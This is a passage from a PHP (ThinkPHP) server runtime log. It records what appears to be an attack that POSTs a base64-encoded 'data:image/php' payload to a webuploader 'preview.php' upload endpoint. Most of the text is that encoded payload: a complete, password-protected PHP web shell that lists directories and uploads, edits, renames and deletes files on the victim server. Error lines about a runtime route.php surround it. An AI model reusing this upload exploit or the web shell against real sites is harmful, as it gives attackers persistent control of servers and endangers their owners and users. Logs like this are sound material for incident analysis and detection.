9kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:02+08:00 ] 119.42.146.234 POST 51tianwei.com/template/admin/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.003230s] [吞吐率:309.61req/s] [内存消耗:274.50kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkp